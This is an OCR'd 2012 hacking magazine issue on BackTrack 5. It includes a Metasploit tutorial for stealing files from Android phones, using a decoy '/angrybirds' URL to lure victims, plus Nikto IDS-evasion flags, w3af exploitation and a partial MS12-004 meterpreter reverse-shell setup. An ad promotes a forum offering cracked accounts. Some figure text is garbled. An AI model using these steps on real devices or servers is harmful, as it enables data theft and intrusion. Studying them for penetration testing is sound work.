Vol.1 No.3 Issue 03/2012(3) ISSN: 1733-7186

THE GUIDE TO BACKTRACK

Haking

DRIVES SECURITY



ANDROID EXPLOITATION WITH METASPLOIT BACKTRACKING IN WIFI COUNTRY DEFENDING LAYER 2 ATTACKS HOW EXPOSED TO HACKERS IS THE WORDPRESS WEBSITE YOU BUILT?

DOLKIT TUTORIAL

BACKTRACK 5

1 US

SECULTILY www.offensive-security.com

"If there's no pain, it's probably not Offensive Security"

For extreme live and online Penetration Testing Courses, visit http://www.offsec.com

> THE LEADERS IN INFORMATION SECURITY TRAINING



CHICH HICH FORUM

CHF is regarded as one of the best online hacking communinity with over 76k+ members. CHF was created by a renowned hacker and web specialist named ProVirus.

CHF

CHF has over 2k+ tutorials teaching you the very art of hacking from the very basic to the most advanced Ievel.

Has a special forum for cracked premium accounts worth thousands of dollars.

The VIP section is filled with the tools and tutorials unseen elsewhere making the section unique.

Join CHF NOW!!! www.CrackHackForum.com JOIN Nove

<u>Greetings to:</u> Srinuboy, Terrorbyte, Rain112, Hacker4life, Rynaldo, Mschoudhry, fakhru

ON Haking DemanD

ONDemanD team

Editor in Chief: Grzegorz Tabaka grzegorz.tabaka@hakin9.org

Managing: Pawel Plocki pawel.plocki@software.com.pl

Editorial Advisory Board: Board: Rebecca Wynn, Mat Jonkman, Donald Iverson, Michael Munt, Gary S. Milefsky, Julian Evans, Aby Rao

Proofreaders: Michael Munt, Patrik Gange, Jeffrey Smith, Donald Iverson, Jonathan Edwards

Betatesters: Amit Chugh, Mohamed Alami, Marouan BELLIOUM, mohamed ouamer, M.Younas Imran, Julio Hernandez-Castro, Tom Updegrove, Jeff Smith, Jonathan Ringler, Peter Hoinville, Antonio Domenico Saporita, Keith D., Rissone Ruggero, Shayne Cardwell, Kiran Vangaveti, Khaled Masmoudi, Tahir Saleem, Ivan Burke, Eduardo Montano, Jake Sopher, Dan Walsh, Daniel Sligar, Kashif Aftab, Tim Thorniley, Kyriakos Bitopoulos

Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Without their assistance there would not be a Hakin9 On Demand magazine.

Senior Consultant/Publisher: Paweł Marciniak

CEO: Ewa Dudzic ewa.dudzic@hakin9.org

Production Director: Andrzej Kuca andrzej.kuca@hakin9.org

Art Director: Ireneusz Pogroszewski ireneusz.pogroszewski@hakin9.org

DTP: Ireneusz Pogroszewski

Marketing Director: Pawel Plocki pawel.plocki@software.com.pl

Publisher: Software Press Sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.hakin9.org/en

Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes.

All rights to trade marks presented in the magazine are reserved by the companies which own them. To create graphs and diagrams we used smartdrower program by smartDraw

Mathematical formulas created by Design Science MathType™

DISCLAIMER!

The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

Dear Readers,

Our current edition takes up a subject of the most known IT security program – BackTrack 5. This professional programme provides users with easy access to a comprehensive and large collection of securityrelated tools ranging from port scanners to password crackers. Thanks to co-operation with BackTrack Creators and the group of proffesional specialists, who decided to write specific articles for us, we were able to close all the BT's toolkits and possibilities in one publication. This full of security tools program, has been perfectly described from different points of viev and that gave us an excellent effect which is expanded below.

Looking through the articles you'll find a few thematic sections which present the author's work.

Metasploit Section includes three different attitudes to this area of expertising. Aditya Gupta presents a practical BackTrack 5 usage and shows us Android Exploitation through Metasploit. Johan Loos presents some security vulnerabilities which, according to the author, "can be used to exploit a system".

Nayan Sanchania shows us how to protect a personal PC from various kinds of exploits which can attack private data or even security systems in the multinational corporations. Steve Myers and Nicholas Popovich open for us a BackTrack Toolkit and show a plenty of techniques which you can find during exploring this program. WordPress, free and open source blogging tool and a dynamic management system is precisely described by Alex Kah, a specialist interested in Pentesting. The author presents the website framework as a place for milions of people who should be prepared for new and beyond attac from the Network.

Dusko Pijetlovis, an experienced IT security specialist, reveals a Pentesting presentation about practical BT 5 usage. Moreover, one can learn how to find the specific tools which help us making a perfect scanning.

A huge tutorial about the most popular BackTrack tools was created by Vikas Kumar. He shows us its possibilities via step by step articles and he teaches how quickly and operationally work with them.

Dennis King shows the power hidden in BackTrack 5. Having known what an experienced hacker can possibly do with this machine of immeasurable possibilities, we can finally effectively take care of our computer.

> Pawel Plocki and Hakin9 Team



[GEEKED AT BIRTH.]

PWR: 110%

[IT'S IN YOUR PULSE.]

LEARN

Advancing Computer Science Artificial Life Programming Digital Media Digital Video Enterprise Software Development Game Art and Animation Game Design Game Programming Human-Computer Interaction Network Engineering

www.uat.edu > 877.UAT.GEEK

Network Security Open Source Technologies Robotics and Embedded Systems Serious Game and Simulation Strategic Technology Development Technology Forensics Technology Product Design Technology Studies Virtual Modeling and Design Web and Social Media Technologies



You can talk the talk. Can you walk the walk?

PLEASE SEE WWW.UAT.EDU/FASTFACTS FOR THE LATEST INFORMATION ABOUT DEGREE PROGRAM PERFORMANCE, PLACEMENT AND COSTS.

METASPLOIT

Android Exploitation with Metasploit 08

by Aditya Gupta

In this article, we will be looking into the practical usage of Backtrack, and its tools. The article is divided into three sections – Android Exploitation through Metasploit, Nikto Vulnerability Scanner and w3af. The reader is expected to have basic knowledge of Backtrack and familiar with common web application vulnerabilities.

Use Metasploit in Backtrack 5

by Johan Loos

Metasploit comes in several flavors: Metasploit framework, Metasploit community edition, Metasploit pro. In Backtrack 5, Metasploit framework is installed by default. Metasploit framework provides you with information on security vulnerabilities which can be used to exploit a system. Penetration testers can also use this tool to launch manual or automated scans.

BACKTRACK5 TOOLKIT

TUTORIAL BackTrack 5 Toolkit Tutorial

22

44

16

by Vikas Kumar

BackTrack is an operating system based on the Ubuntu GNU/Linux distribution aimed at digital forensics and penetration testing use. It is named after backtracking, a search algorithm. The current version is BackTrack 5, code name "Revolution."

DEFENCE PATTERN Defending Layer 2 Attacks

by Nayan Sanchania

Security has been a major concern in today's computer networks. There has been various exploits of attacks against companies, many of the attacks cost companies their reputation and cost them millions of pounds. Many attacks are implemented using inside knowledge from previous and even current employees.

OPERATIVE BACKTRACK

BackTrack 5: The Ultimate Security Toolkit

by Steve Myers

In the security world today, a security professional relies heavily on knowing the right tools for the job, and knowing how to use these tools. There are hundreds of tools available and the list of tools is constantly changing and growing. For security assessments and penetration testing, there are very few toolkits as actively supported and all-encompassing as BackTrack 5.

Backtrack 5 Practical Applications And Use Cases by Nicholas Popovich

CONTENT

66

76

82

This article breaks down what Backtrack Linux is, with a brief description and history. Then, we'll explore a sampling of some of the many tools that are packaged within Backtrack Linux and provide use cases along with step-by-step tutorials to demonstrate some of the more common tasks that Backtrack is used to perform. Finally, we'll see how most of the tools and techniques that Backtrack is designed to facilitate can be used by the many different roles in the IT security field.

EXPLORE YOUR PC

How Exposed To Hackers Is the WordPress Website You Built?

by Alex Kah

WordPress is likely the most popular website framework used on the web today. With over 65 million downloads and a very active community you can accomplish many goals with ease using WordPress.

Become Quieter with a Little Help from BT

by Dusko Pijetlovic When you are faced with a task of testing your production environment and strengthening your defenses, your

choice of the tool is easy. Instead of concentrating on collecting penetration (pen) testing tools, just head to BackTrack website and download an image of one of the most popular white hat penetration testing and security auditing platforms. It's #7 on the sectools.org Top 125 Security Tools list.

BackTracking in Wifi Country

by Dennis King

The BackTrack 5 distribution continues to be the "go to" tool in a security professional's arsenal. With the latest release, "Revolution," the Backtrack development team delivers a kit you can use anywhere on both light and heavy duty security tasks.

60

WE'RE BUILDING AN A-TEAM. Have what it takes?



NOW HIRING PREMIUM CYBER TALENT



4901 Springarden Drive | Suite 200 | Baltimore, MD 21209 www.securityevaluators.com | 443.270.2296

CAREERS@SECURITYEVALUATORS.COM

ONDemand Android Exploitation with Metasploit

In this article, we will be looking into the practical usage of Backtrack, and its tools. The article is divided into three sections – Android Exploitation through Metasploit, Nikto Vulnerability Scanner and w3af. The reader is expected to have basic knowledge of Backtrack and familiar with common web application vulnerabilities.

he Metasploit Framework is well known tool among Penetration Testers and InfoSec professionals. It could be used for a variety of purposes and against a variety of targets.

In this article, we will discuss a lesser known module in the Metasploit Framework, which could be used to steal any file from an Android phone, given; it navigates to the attacker's URL.

This vulnerability was discovered by Thomas Cannon in 2010, which leverage a Content:// URI multiple disclosure.

Now, let's go ahead and run the exploit in Metasploit.

Usage

The prerequisite to run this exploit is the victim phone must be running Android 2.3.4 or less, and should be

rooted, in case you want to get system files. Open up the Metasploit Framework, by typing in msfconsole (Figure 1).

root@bt:~# msfconsole
msf > search android

Right now, only two android modules are present in the Metasploit Framework (Listing 1).

We are here interested in the first module, which is android_htmlfileprovider. Let's have more information about this exploit (Listing 2).

To use this exploit:

msf > use auxiliary/gather/android htmlfileprovider

Rame auxiliary/gather/android htmlfileprovider auxiliary/gather/android htmlfileprovider auxiliary/gather/an	<pre>msf > use auxiliary/gather/android htmlfileprovider msf auxiliary(android_htmlfileprovider) > set SRVHOST 10.0.53.75 SRVHOST => 10.0.53.75 msf auxiliary(android_htmlfileprovider) > set SRVPORT 80 SRVPORT == 80 msf auxiliary(android_htmlfileprovider) > set URIPATH /angrybirds URIPATH => /angrybirds msf auxiliary(android_htmlfileprovider) > </pre>
Figure 1. Android modules in Metasploit	Figure 2. Setting up the options for Android exploit

Listing 1. Matching modules I	
Matching Modules	
Name	Rank Description
auxiliary/gather/android_htmlfileprovider	normal Android Content Provider File Disclosure
auxiliary/scanner/sip/sipdroid_ext_enum	normal SIPDroid Extension Grabber

Listing 2. Matching modules II			
<pre>msf > info auxiliary/gather/android_htmlfileprovider Name: Android Content Provider File Disclosure Module: auxiliary/gather/android_ htmlfileprovider</pre>			
Version: 14774			
License: Metasploit Framework License (BSD)			
Rank: Normal			
Description:			
This module exploits a cross-domain issue within			
the Android web			
browser to exfiltrate files from a vulnerable			
device.			

Type show options to get a list of options associated with this particular module.

Here, *SRVHOST* is the local host on which we will be running the exploit server; *SRVPORT* is the port number on which we want this exploit to run, which we select to be 80 in this case. *URIPATH* is the path of this exploit on your server. We select this to be /angrybirds. So, that it is easier to convince the victim, to navigate to this URL using his android phone (Figure 2). The last option to set is the FILES. By default the files parameter is set to $/{\tt proc}/$

version,/proc/self/status,/data/system/packages.list.

If we would have wished to add another file, which is to be stolen, for suppose, an image taken from the camera application for the phone. We would set the FILES to /mnt/sdcard/DCIM/Camera/Img001.jpg.

Msf auxiliary(android_htmlfileprovider)>set FILES /mnt/ sdcard/DCIM/Camera/Img001.jpg

Type in run to launch the exploit.

- msf auxiliary(android htmlfileprovider) > run
- [*] Auxiliary module execution completed
- [*] Using URL: http://10.0.53.75:80/angrybirds
- [*] Server started.

Navigate to the URL *http://10.0.53.75/angrybirds* using the victim's Android phone. Here we could use any browser to navigate, either the Default Android browser, or any other installed browser (Figure 3).

The msfconsole will send the exploit payload, and in return will receive and display back, all the information stored in the different files stored in the files parameter.



+ Target IP:	10.0.2.16
+ Target Port:	80
+ Start Hime.	2012-03-23 01-43.30
+ Server: Apache/2.2.	3 (Red Hat)
+ ETag header found o	n server, inode: 13075038, size: 56141, mtime: 0x8f60ddc0
+ Apache/2.2.3 appear	s to be outdated (current is at least Apache/2.2.1/). Apache 1.3.42 (final release) and 2.0.64 are atsocurrent.
+ ALLOWED HITP MELHOD	S: OEI, HEAU, POSI, UPIIUNS, HAALE
+ Retrieved x-nowered	ch mean of PHP/S 1 6
+ OSVDB-3233: /mailma	Dy includer: Mailman was found on the server.
+ 05VDB-3268: /web/:	Directory indexing found.
+ OSVDB-2695: /photo/	: My Photo Gallery pre 3.6 contains multiple vulnerabilities including directory traversal, unspecified vulnerabilities and remote mana
gement interface acce	ss.
+ OSVDB-3268: /pdf/:	Directory indexing found.
+ OSVDB-3268: /pix/:	Directory indexing found a CI/I TracI/I
+ 0SVDB-3092: /p1x/:	Inis might beanteresting
+ 05VDB-3208: /update	S/: Directory indexing hound.
+ 05VDB-3092: /update	57. Inis magnic de Iniciestang
+ 0SVDB-3092: /manual	// Web server manual found.
+ OSVDB-3093: /webmai	l/src/read body.php: This might be interesting has been seen in web logs from an unknown scanner.
+ 0SVDB-3093: /.bashr	c: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3268: /icons/	: Directory indexing found.
+ OSVDB-3268: /manual	/images/: Directory indexing found.
+ OSVDB-3268: /image/	: Directory indexing found.
+ OSVDB-3268: /images	/: Directory indexing found.
+ USVDB-3268: /Images	/ /pattern=/etc/*wsort=name: Directory indexing round.
+ 05VDB-3233: /ICONS/ + 05VDB-3268: /im/: D	REAUTE: Apache delaut file found.
+ 05VDB-3208: /111/: D	his might be interesting potential country code (Isle Of Man)
+ 0SVDB-3268: /sm/: D	incertory indexing found.
+ 0SVDB-3092: /sm/: T	his might be interesting potential country code (San Marino)

Figure 4. Running Nikto in normal mode

Listing 3. Nikto ShellCode III

METASPLOIT

```
root@bt:~#./nikto.pl -list-plugins
Plugin: ssl
SSL and cert checks - Perform checks on SSL/Certificates
Written by Sullo, Copyright (C) 2010 CIRT Inc.
Plugin: dictionary
 Dictionary attack - Attempts to dictionary attack commonly known directories/files
 Written by Deity, Copyright (C) 2009 CIRT Inc
Plugin: headers
HTTP Headers - Performs various checks against the headers returned from an HTTP request.
 Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: auth
Guess authentication - Attempt to guess authentication realms
Written by Sullo/Deity, Copyright (C) 2010 CIRT Inc
Plugin: cgi
CGI - Enumerates possible CGI directories.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: cookies
HTTP Cookie Internal IP - Looks for internal IP addresses in cookies returned from an HTTP request.
Written by Sullo, Copyright (C) 2010 CIRT Inc.
Plugin: outdated
Outdated - Checks to see whether the web server is the latest version.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: msgs
Plugin: robots
Robots - Checks whether there's anything within the robots.txt file and analyses it for other paths to pass to
                   other scripts.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Plugin: report csv
CSV reports - Produces a CSV report.
 Written by Deity, Copyright (C) 2008 CIRT Inc.
Plugin: apacheusers
Apache Users - Checks whether we can enumerate usernames directly from the web server
 Written by Javier Fernandez-Sanguinoi Pena, Copyright (C) 2008 CIRT Inc.
Plugin: favicon
 Favicon - Checks the web server's favicon against known favicons.
Written by Sullo, Copyright (C) 2008 CIRT Inc.
Defined plugin macros:
@@NONE = ""
 @@ALL = "ssl;dictionary;headers;tests;auth;cgi;subdomain;report_text;report_xml;report_metasploit;embedd
                   ed; report html; content search; cookies; outdated; msqs; mutiple index; httpoptions; put del
                    test;robots;report csv;apacheusers;favicon;apache expect xss;report nbe"
 @@DEFAULT = "@@ALL;-@@MUTATE;tests(report:500)"
  (expanded) = "httpoptions; headers; mutiple index; outdated; put del test; auth; report xml; report
                   nbe;apacheusers;report_metasploit;cookies;apache_expect_xss;embedded;ssl;favicon;cgi;content
                    search;report csv;msgs;report html;tests(report:500);robots;report text"
 @@MUTATE = "dictionary; subdomain"
```

back	Go to the previous menu. Fyit waaf
back	Go to the previous menu.
misc-settings	Configure v3af misc settings.
target	Configure the target URL.
http-settings	Configure the HTTP settings of the framework.
profiles	List and use scan profiles.
cleanup	Cleanup before starting a new scan.
plugins	Enable and configure plugins.
exploit	Exploit the vulnerability.

Figure 5. w3af consoleUI

While using this exploit with an image, the result you get will be encoded in Base64, so you'll have to first convert it to an image format, before viewing it.

Conclusion

This is how the new generation pwnage takes place through mobile devices. In mobile exploitation, this is just the tip of the iceberg, a lot more is yet to happen.



Figure 6. list of profiles to be used for audit

Nikto

Nikto is a small, compact and efficient open source web security scanner by Sullo. Written mostly in Perl, it could perform tests against web servers, including over 6000 potentially dangerous files/CGIs, outdated versions, and vendor specific problems on over 1000 servers.

The main objective of Nikto is to scan the website to find "interesting files" and look for common web application vulnerabilities. It checks through finding misconfigured and default files and programs installed on the web server.



SECURITY EXPERTS iPhone & iPad

- iOS security trainings
- iOS applications pentests

• Audits of mobile management systems (MDM)

Contact: info@advtools.com - Tél.: +4/ 22 301 91 00 - www.advtools.com

Hack in Paris 18-20 June, 2012

Training "iOS Applications Attack and Defense" Win an iPad!

www.hackinparis.com



Figure 7. Setting up the target options for audit

Usage

The basic Nikto scan requires just specifying the target URL parameter though -host (Figure 4).

root@bt:~# ./nikto.pl -host http://targeturl.com

The different configuration of the tool could also be modified according to the need. The default Nikto configuration file is located in the path /pentest/web/ nikto/nikto.conf. The results of nikto could be presented in 3 different file formats: HTML, txt and CSV. Defining a output file format could be done by using the -f parameter

root@bt:~#./nikto.pl -e 3 -host http://targetsite.com
-F html -o results.html

Nikto provides us a range of options while performing the scan. For example:

We could also specify the ports on which the scan has to be performed, along with proxy through which the scan process has to be executed.

root@bt:~#./nikto.pl -h 10.0.53.1 -p 80,88,443 -useproxy 127.0.0.1:8080

To get a full list of different parameters, type in

root@bt:~#./nikto.pl

Another feature of Nikto is, it could be integrated with other security tools such as NMap and Nessus for better results. Nikto comes with a list of plugins, which further expands its capabilities of scanning. To get a list of all the plugins available: Listing 3.

Now suppose, For example, we want to use the plugins cookies, outdated and msgs, we would be specifying the plugins name, with the parameter –Plugins, after the host name on which the scan has to be performed.

w3af>>> plugins w3af/plugins>>> help	<< back fra
list	List available plugins.
back exit assert	Go to the previous menu. Exit w3af. Check assertion.
grep mangle evasion bruteforce output audit discovery	View, configure and enable grep plugins View, configure and enable mangle plugins View, configure and enable evasion plugins View, configure and enable bruteforce plugins View, configure and enable output plugins View, configure and enable audit plugins View, configure and enable discovery plugins
w3af/plugins>>>	

Figure 8. Plugins which could be used during the scan. Each plugins has different sub-modules



Figure 9. Information about the audit plugin

root@bt:~#./nikto.pl -h example.com -Plugins cookies; outdated; msgs

To use all the plugins at once, specify it with the plugin paremeter @all.

root@bt:~#./nikto.pl -h example.com -Plugins @all

IDS Evasion

A normal Nikto scan will generate a lot of access logs, which would alert the IDS and webmasters about something fishy going in the network. To come over this problem, Nikto uses a set of techniques to avoid getting detected.

It uses the RFP's LibWhisker for its IDS evasion techniques. Though not too advanced to evade the best IDSes today, it could avoid getting detected by a large no of IDS. At present, there are 9 evasion techniques available.

- Random URI encoding (non-UTF8)
- Add directory self-reference /./
- Premature URL ending
- Prepend long random string to request
- Fake parameters to files
- TAB as request spacer instead of spaces
- Random case sensitivity

/3af/plugins>>> discovery			
Plugin name	Status	Conf	Description
afd	Enabled		Find out if the remote web server has an active f.
allowedMethods	Enabled	Yes	Enumerate the allowed methods of an URL.
archiveDotOrg		Yes	Search archive.org to find new pages in the targe
bing spider	Enabled	Yes	Search Bing to get a list of new URLs
content negotiation		Yes	Use content negotiation to find new resources.
detectReverseProxy	Enabled		Find out if the remote web server has a reverse p
detectTransparentProxy	Enabled		Find out if your ISP has a transparent proxy inst
digitSum		Yes	Take an URL with a number (index2 asp) and try
dir bruter		Yes	Finds Web server directories by bruteforcing.
dnsWildcard	Enabled		Find out if www.site.com and site.com return the
domain dot			Send a specially crafted request with a dot after
dotNetErrors	Enabled		Request specially crafted URLs that generate ASP.I
favicon identification			Identify server software using favicon.
findBackdoor			Find web backdoors and web shells.
findCaptchas			Identify captcha images on web pages.
findDVCS			Find GIT, Mercurial (HG), and Bazaar (BZR) reposi
findGit			Find GIT repositories
findvhost	Enabled		Modify the HTTP Host header and try to find virtu
fingerBing		Yes	Search Bing to get a list of users for a domain.
fingerGoogle		Yes	Search Google using the Google API to get a list
fingerPKS			Search MIT PKS to get a list of users for a domain
fingerprint WAF	Enabled		Identify if a Web Application Firewall is present
fingerprint os	Enabled		Fingerprint the remote operating system using the
frontpage version			Search FrontPage Server Info file and if it finds
ghdb		Yes	Search Google for vulnerabilities in the target s.

Figure 10. list of sub-modules in the discovery plugin

w3af/plugins>>> output console,textFile, htmlFile w3af/plugins>>> output			
Plugin name	Status	Conf	Description
console emailReport gtkOutput htmlFile textFile xmlFile	Enabled Enabled Enabled Enabled	Yes Yes Yes Yes Yes Yes	Print messages to the console. Email report to specified addresses. The more Saves messages to kb.kb.getData('gtROutput', 'queu Print all messages to a HTML file. Prints all messages to a text file. Print all messages to a xml file.

Figure 11. Setting up the output options for the audit result

- Use Windows directory separator \ instead of /
- Session splicing

To use an evasion technique:

We just have to specify the -e parameter along with the evasion technique number.

For ex: root@bt:~#./nikto.pl -u http://targetsite.com
-e 314.

This will activate the evasion techniques namely "Premature URL Ending", "Random URI Encoding" and "Prepend long random string to requests"

Conclusion

Nikto, even though not being a full penetration testing tool in itself, does helps in identifying the common vulnerabilities existing on a web server. It also comes handy, when the penetration testing is to be performed within a short period of time limit.

W3AF

Another vulnerability assessment and exploitation tool in the Backtrack suite of tools is the well-known w3af. *Web Application Attack and Audit Framework* or w3af is an open source web security tool, made by Andres Riancho. Written in Python, the main power of w3af lies in its over 100+ plugins, which we will be seeing further in this article. w3af, unlike Nikto, not only finds the vulnerabilities, it also goes a step ahead and exploits the found vulnerabilities to get further access to the target.

The plugins of w3af are divided into 8 parts, according to their usage namely: *Discovery, audit, grep, attack,*

Wafsss start
Exiting setferburtPluging()
called wasfore start)
carred our outpuperers
Repartive: added the connection, tenseer, noting adityagupta.net j): 1
UNS response from DWS server for domain: adicyadupta.net
the interpr//adityagupta.net returned him code 200" - 10: 00
starting "errorPages" grep_worker for response: < https://autyagupta.net 10:80
Finished grep_worker for response: < https://adityagupta.net 1d:88 >
Starting "lang" grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >
"http://adityagupta.net" is NOT a 404. [similarity_index < 0.9]
The page language 1s: en
Finished grep_worker for response: < http://dityagipta.net / 10:88 > //
Starting "httpAuthDetect" gner worker for response 🖉 httpResponse 200 http://dditymoupte.net 🎼 i
Finished grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >
Starting "pathDisclosure" grep_worker for response: < httpResponse 200 http://adityagupta.net 1
Finished grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >
<pre>Starting "error500" grep_worker for response: < httpResponse 200 http://adityagupta.net id:80 ></pre>
Finished grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >
<pre>Starting "collectCookies" grep worker for response: < httpResponse 200 http://adityagupta.net in</pre>
Finished grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >
Starting "dotNetEventValidation" grep worker for response: < httpResponse 200 http://adityagupta.m
Finished grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >
Starting "codeDisclosure" grep worker for response: < httpResponse 200 http://adityagupta.net j
Finished grep worker for response: < http://adit/adit/adut/adut/adut/adut/adut/adut/adut/adu
Starting "blankBody" grep worker for response: < http://adityagupta.net id:80 ;
Finished grep worker for response: < http://adityagupta.net id:88 >
Starting "metaTaps" grep worker for response: < https://adityagupta.net id:80 >
Finished grep worker for response: < http://adit/adit/adupta.net id:80 >
Starting "motw" grep worker for response: < httpResponse 200 http://adityagupta.net id:80 >

Figure 12. Audit in progress with the selected profile and plugins



Figure 13. Writing the automation script including the list of commands

mangle, evasion, attack and bruteforce. The vulnerabilities share their knowledge with each other using a knowledge base. We could also use w3af in order to send fuzzy and manual HTTP requests with the vulnerability found, to the target server. W3af can be operated in both modes: *Graphical User Interface* (gtkUI) and *Console User Interface* (consoleUI). In this article, for the sake of simplicity, we will be using the w3af in consoleUI mode.

Usage

Let's first of all launch the w3af console and have a look at all the available options (Figure 5).

root@bt:/pentest/web/w3af# ./w3af_console
w3af>>> help

The first step here is to select a profile. A profile is generally the selection of particular modules from the plugins which would be activated during the audit.

Navigate to the profiles menu, and list all the available profile options (Figure 6):

w3af>>profiles w3af/profiles>>>list

This shows us all the available profile options in w3af, which could be used in an audit. One could also



Figure 14. Automation in progress

manually select the modules from the plugins. But, in order to reduce the human effort and fasten up the process profiles were developed.

Let us now go ahead and chose the profile $_{\tt OWASP_TOP10},$ which searches for the OWASP Top 10 vulnerabilities and exploits them.

w3af/profiles>>>use OWASP_TOP10

After selecting the profile, we should now select our attack target.

w3af/plugins>>> back w3af>>> target w3af/config:target>>> view

The target contains the following options, which could be specified by user about the target: *targetOS*, *targetFramework* and *target* itself.

Let us suppose that we don't exactly know the target Operating System and Programming Framework being used. So, we will only set the target URL.

w3af/config:target>>> set target
http://10.0.53.242/attackme

After the target has been set, let's have a look at the plugins, and select if necessary.

To view information about a particular plugin, navigate to plugins, and type in help [plugin-name].

w3af>>> plugins w3af/plugins>>> help audit

To view the modules stored in a plugin, just type in the [plugin-name], and it will bring up the modules within that plugin.

w3af/plugins>>> discovery

We could either select the modules to be used from this list or opt to use all of them. Since, we have already selected the OWASP_TOP10 profile; it has automatically enabled the associated modules of the plugins with it. To enable a module which is not selected at present, for example, phpinfo in our case,

w3af/plugins>>> discovery phpinfo

The above command would also enable the phpinfo module of the discovery plugin. After setting up the plugins, let us move forward and set the output methods of the audit process. We want to set it to show up in console, and also get saved as text and an HTML file. w3af/plugins>>> output console, textFile, htmlFile

Type in output again, to make sure, if they have been enabled.

w3af/plugins>>> output

To start the audit, go back, and type in start.

w3af>>start

It will now perform the audit and show the output in console, as well as save it in a text and html file.

An important feature of w3af is its automation capabilities. W3af offers creation of scripts which could be executed, and would run the above audit using the same commands which we used just now, so that we don't have to type each and every command again when we are auditing.

To do this, create a filename, with the extension w3af in the same folder, where w3af is present.

Type in it, the commands in sequential order, which needs to be executed. In our case, it is profiles, list, use OWASP_TOP10, back,target, set target http://10.0.53.242/ attackme, back, plugins, discovery phpinfo, output console, textFile, htmlFile, output, start.

Save the filename as anyname.w3af as stated above. Now, launch the w3af console, with the script parameter to be the filename just created.

root@bt:~#./w3af_console -s Adi.w3af

Conclusion

To conclude, w3af is an wonderful Penetration Testing tool, which finds the vulnerabilities and also exploits them. In real life scenario, this is often used along with Nikto Scanner to get better results about the vulnerabilities on the server.

ADITYA GUPTA



Aditya Gupta is a well-known Mobile Security Researcher and Penetration Tester. His main expertise includes Exploiting Web Applications, Evading Firewalls and Exploit Research. Aditya is responsible for the discovery of many serious vulnerabilities in websites such as Google, Apple, Microsoft,

Skype, Adobe, and a variety of other major software technologies. Aditya has worked on many Android security projects and has been a frequent speaker to many of the conferences.He can be followed on twitter at @adi1391.

CODENAME: SAMURAI SKILLS COURSE

Penetration Test Training Samurai Skills

- You will learn Real World Hacking Techniques for Targeting , Attacking , Penetrating your target
- Real Live Targets (Websites , Networks , Servers) and some vmware images
- Course Instructors are Real Ethical Hackers With more than 7
- years Experience in Penetration Testing
- ONE Year Support in Forums and Tickets
- Every Month New Videos (Course Updated Regularly)
- Suitable Course Price for ONE Year Support
- Take Our course at your own pace (any time, any where)
- Our Course is Totally Different from Other Courses (new Techniques)

We have Real World Hacking/Penetration Testing Lab with Over 20 Real Target

ONDemand Use Metasploit in Backtrack 5

Metasploit comes in several flavors: Metasploit framework, Metasploit community edition, Metasploit pro. In Backtrack 5, Metasploit framework is installed by default. Metasploit framework provides you with information on security vulnerabilities which can be used to exploit a system. Penetration testers can also use this tool to launch manual or automated scans.

B efore you actually could exploit a system, you need to know if the system is vulnerable for a certain type of attack.

What is a vulnerable system?

A vulnerability is a weakness in software, hardware that enables the attacker to compromise the confidentiality, integrity or availability of that system. A system can be but not limited to: a server running an operating system, router switch, firewall, mobile devices, TV, etc. For example: when an attacker launches a distributed denial of service attack, he enables the unavailability of a system. If data is intercepted and changed, he enables integrity.

An attacker can use a vulnerability to compromise a system. For example a weakness in a protocol allows the attacker to run arbitrary code.

The attacker launches the exploit on the vulnerable system. Based on the actual payload send together with the exploit, the attacker receives a (reverse) shell.

If you understand the vulnerability, it will help you to implement the appropriate security control. A security control can be a patch or a security device.

Important to know is that you understand the vulnerability context:

- Where do they exist?
- Where do they run?

So, what is the exploit context?

- · Exploit runs where the vulnerability exists
- · Where does it run, client side or server side?

Example 1

Let say, you have a server located into the DMZ. The vulnerability context is the server itself and the exploit context is the DMZ. If an attacker can compromise a vulnerable server in the DMZ, he has properly access to all servers in that DMZ. The attacker can use other techniques like pivoting to access servers in the internal network.

Example 2

If a client computer is placed on a client LAN, the vulnerability context is the client and the exploit context in the client LAN. If an attacker can compromise a vulnerable client in the LAN, he has properly access to all resources on the client LAN.

Client-side exploit

If a vulnerability exist on a client, it can be compromised by a client-side exploit. Client side vulnerabilities lives in Java, operating system, applications such as web browser, Office, Acrobat Reader. The attack is basically launched by tricking the user to click on a link embedded in an email, or send the user an attachment which contains the exploit. When the user clicks on the link, the user is redirected to a website which contains the actual code to launch the exploit. A traditional firewall does not help this attack from happening, since the user opens a connection over port 443 or port 80. These ports are usually allowed on the firewall. Before a system can be exploited, you can take the following steps:

- · Choose and configure the module in Metasploit
- Select a payload, which provides the attacker a remote shell



Figure 1. Output search command

- Optionally, you can encode the payload so that it is not detected by anti-virus software
- Launch the exploit

Okay, let's have a look into the following vulnerability: MS12_004: Vulnerabilities in Windows Media Could Allow Remote Code Execution



Figure 2. Output info command

Information

If the user opens a special crafted media file, the vulnerability could allow remote code execution. If the attacker can successfully exploit the vulnerability, the attacker could obtain the same rights as the logged on user.



- **150** Local chapters
- 20,000 builders, breakers and defenders
- Citations: NSA, DHS, PCI, NIST, FFIEC, CSA, CIS, DISA, ENISA and more...

Learn More: http://www.owasp.org



Figure 3. Output show options command

Step 1: Search for an existing module

In Metasploit, you can search for a module by using the following command:

msf> search <module>

Where $<_{module}$ is the name of the module you are searching for. In Figure 1, you can see the output from the search command.

msf> search ms12 004

Step 2: Retrieve more information about the module

Use the command info <module> to obtain more information about the module.

msf> info exploit/windows/browser/ms12_004_midi

In Figure 2, you can retrieve more information of the target and also an explanation on the needed variables. A list of the available target is also available.



Figure 4. Configure variables

sf exploit(e	s12_004_widi) > 5	et SPVPORT	80	
esf exploit(e	12 004 midi) > s	at URIPATH		
UPOPATH => /				
esploit[m	s12 004 midi) > s	et payload	windows/meterpreter/reverse_tcp	
